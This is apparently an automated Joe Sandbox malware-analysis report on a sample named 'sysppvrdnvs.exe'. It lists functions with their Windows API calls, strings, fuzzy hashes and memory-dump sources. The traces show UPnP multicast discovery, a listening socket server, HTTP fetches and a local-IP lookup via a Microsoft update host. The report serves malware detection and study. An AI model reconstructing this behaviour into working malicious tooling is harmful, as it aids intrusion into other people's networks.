Opcode Fuzzy Hash: 0ababd338b93d4f15b5807df93ab29fe9547c17ebc95fa2dc8514e940c4b66a1
Instruction Fuzzy Hash: 54F090B1A04308FBDB00DFA4DC46F9E7778AB48704F208468FA08A72C1D675BA10C769

Function 0040F1F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
CloseHandle.KERNEL32(000000FF), ref: 0040F232

Strings

.#v, xrefs: 0040F232

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: .#v
API String ID: 1378416451-507759092
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 7e163f13d574deee43add6bab66e88a36a5285de070472799180e575aa2043d7
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: A0F03774A40308FBDB20DFA4DC49FCD7B74EB04701F2082A4FA047B2D0D6B55A418B44

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction ID: daf299aa3b87b71fb70ff151311bbfa052327c8c190f043936f27822c7d74034
Opcode Fuzzy Hash: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction Fuzzy Hash: 1621C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF559A6290E774D94887EA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction ID: dfa7cd44099aa032f197b32b6ae0ce93fcebf173881def012ca395fa41330849
Opcode Fuzzy Hash: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction Fuzzy Hash: BD01F7356423049FC3209F26EC44ADB77F8AF49712B04443EE50693650DB34F545DB28

Function 00407390 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,004083D7), ref: 00407398
SysAllocString.OLEAUT32(004161D0), ref: 004073A3
CoUninitialize.OLE32 ref: 004073C8

Part of subcall function 004073E0: SysFreeString.OLEAUT32(00000000), ref: 004075F8

SysFreeString.OLEAUT32(00000000), ref: 004073C2

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction ID: 94d3ecd3e534f0c2973a063d63be5db40503c7f445082467247c405133df6831
Opcode Fuzzy Hash: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction Fuzzy Hash: FEE01275944208FBD7049FA0ED0EB9D77649B04341F1041A5FD05A22A1DAF56E80D755

Function 004073E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407670: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

SysFreeString.OLEAUT32(00000000), ref: 004075F8

Strings

Microsoft Corporation, xrefs: 00407566

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction ID: e42f15a5a8f3a5930d9f1f6311551bcb6c6e46ad7cdc057207f56e8781896ff9
Opcode Fuzzy Hash: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction Fuzzy Hash: 5191FB75E0450AAFCB14DB98CC94EAFB7B5BF48300F208169E505B73A0D735AE42CB66

Function 0040E400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E640: memset.NTDLL ref: 0040E668
Part of subcall function 0040E640: InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
Part of subcall function 0040E640: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
Part of subcall function 0040E640: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
Part of subcall function 0040E640: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
Part of subcall function 0040E640: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
Part of subcall function 0040E640: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
Part of subcall function 0040E640: InternetCloseHandle.WININET(00000000), ref: 0040E837

Part of subcall function 0040E530: SysAllocString.OLEAUT32(00000000), ref: 0040E55E
Part of subcall function 0040E530: CoCreateInstance.OLE32(00413000,00000000,00004401,00412FF0,00000000), ref: 0040E586
Part of subcall function 0040E530: SysFreeString.OLEAUT32(00000000), ref: 0040E621

SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

%S%S, xrefs: 0040E4C6

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction ID: e5c4592a6bf7e21b90caaa4e382eb9027ff93744cff569d410d2f086dfa1b48d
Opcode Fuzzy Hash: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction Fuzzy Hash: 41415CB5D00209AFCB04DFE5C885AEFB7B5BF48304F104929E605B7390E738AA41CBA1

Function 0040E0C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,004083D2), ref: 0040E0CA

Part of subcall function 0040E190: socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
Part of subcall function 0040E190: htons.WS2_32(0000076C), ref: 0040E1E0
Part of subcall function 0040E190: inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
Part of subcall function 0040E190: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D
Part of subcall function 0040E190: bind.WS2_32(000000FF,?,00000010), ref: 0040E243
Part of subcall function 0040E190: lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
Part of subcall function 0040E190: sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
Part of subcall function 0040E190: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

UDP, xrefs: 0040E158
TCP, xrefs: 0040E13B

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction ID: 4536849a39b1ff6f82dd019fff268beff13b49d9c24eb1714a693627677867a5
Opcode Fuzzy Hash: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction Fuzzy Hash: C511B4B4E00208EBDB00EFD6DC45BAE7375AB44708F10896AE5047B2C2D6799E21CB89

Function 0040DCD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
CloseHandle.KERNEL32(?), ref: 0040DD29

Strings

.#v, xrefs: 0040DD29

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CloseHandleObjectSingleWait
String ID: .#v
API String ID: 528846559-507759092
Opcode ID: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction ID: afdab107b7ea46b491ba3f785a3108c34962e981a5b403661ae60ceb940f9cda
Opcode Fuzzy Hash: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction Fuzzy Hash: 6F11C974A04208EFDB14CF84C580B59B7B6FF49314F2081AAEC06AB381C775EE42DB95

Function 00405EF0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,?,00000000,?), ref: 00405EFF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F3E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405FB3
LeaveCriticalSection.KERNEL32(00415B88), ref: 00405FD0

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction ID: 31cd86352096c342a95fcbe165c6b10336903156d0058c686e7ee331cda8bfc5
Opcode Fuzzy Hash: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction Fuzzy Hash: 08218D35D04609EFDB04DB94D885BDEBB71EB44304F1481BAE8096B380D37CA985CF8A

Analysis Process: sysppvrdnvs.exePID: 1588, Parent PID: 4416COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1499
Total number of Limit Nodes:	26

Executed Functions

Function 0040E190 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
htons.WS2_32(0000076C), ref: 0040E1E0
inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D

Part of subcall function 0040B430: htons.WS2_32(00000050), ref: 0040B45D
Part of subcall function 0040B430: socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
Part of subcall function 0040B430: connect.WS2_32(000000FF,?,00000010), ref: 0040B496
Part of subcall function 0040B430: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

bind.WS2_32(000000FF,?,00000010), ref: 0040E243
lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E310: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Part of subcall function 0040E310: Sleep.KERNEL32(000003E8), ref: 0040E36E
Part of subcall function 0040E310: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
Part of subcall function 0040E310: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
Part of subcall function 0040E310: StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

239.255.255.250, xrefs: 0040E1EA
X#A, xrefs: 0040E258, 0040E25B

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250$X#A
API String ID: 726339449-2206458040
Opcode ID: d4aae0188a0692a386eab894faa05248931f68ac7139597ebba67cfde0a765f4
Instruction ID: e8e0ae0e245dd7c097b927a75a8676c49a2f7ecfee9f68fb0cb72d84dadb0e27
Opcode Fuzzy Hash: d4aae0188a0692a386eab894faa05248931f68ac7139597ebba67cfde0a765f4
Instruction Fuzzy Hash: 7F4119B4E00208ABDB04DFE4D989BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040DBB0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040DBCE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040DBE0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04
Part of subcall function 0040DBE0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
Part of subcall function 0040DBE0: DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
Part of subcall function 0040DBE0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: ac805520964283d74d9ea396830670e37537a1ffc2c4ae4913da21a2650ffd4a
Instruction ID: 7304e093e5df1f4af0f3941d52a0ba2ce6ba101da239ecb0b9d238ba0c2be26e
Opcode Fuzzy Hash: ac805520964283d74d9ea396830670e37537a1ffc2c4ae4913da21a2650ffd4a
Instruction Fuzzy Hash: EE41B170640301ABD3209F74CC4AF5B77E4AF44720F108A2DF6A9EA2D4E7F4E545875A

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: c86c4c205b70a7c70dcf50f9a49c850a55a024fca25fb314c9702e9f639428b6
Instruction ID: 62ed05d6da85abd953b38b2f92cd08377c0ec6205023cd889ce16e316194a11c
Opcode Fuzzy Hash: c86c4c205b70a7c70dcf50f9a49c850a55a024fca25fb314c9702e9f639428b6
Instruction Fuzzy Hash: 1731F971A443016BE320DF749C46F9BB6E0AF48B10F40493DF659EB2D0D3B4D544879A

Function 0040D770 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D782
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D7A8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D7DF
GetTickCount.KERNEL32 ref: 0040D7F4
Sleep.KERNEL32(00000001), ref: 0040D814
GetTickCount.KERNEL32 ref: 0040D81A

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 457d80db37ae817004d1223b894239af033459ee6c7143085fc0b5fbd1cdb933
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 13310A75D00209EFCB04DFA4D948AEEBBB0FF44315F10866AE821A7280D7749A54CB99

Function 0040B430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B45D

Part of subcall function 0040B3F0: inet_addr.WS2_32(0040B471), ref: 0040B3FA
Part of subcall function 0040B3F0: gethostbyname.WS2_32(?), ref: 0040B40D

socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
connect.WS2_32(000000FF,?,00000010), ref: 0040B496
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

Strings

www.update.microsoft.com, xrefs: 0040B467

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
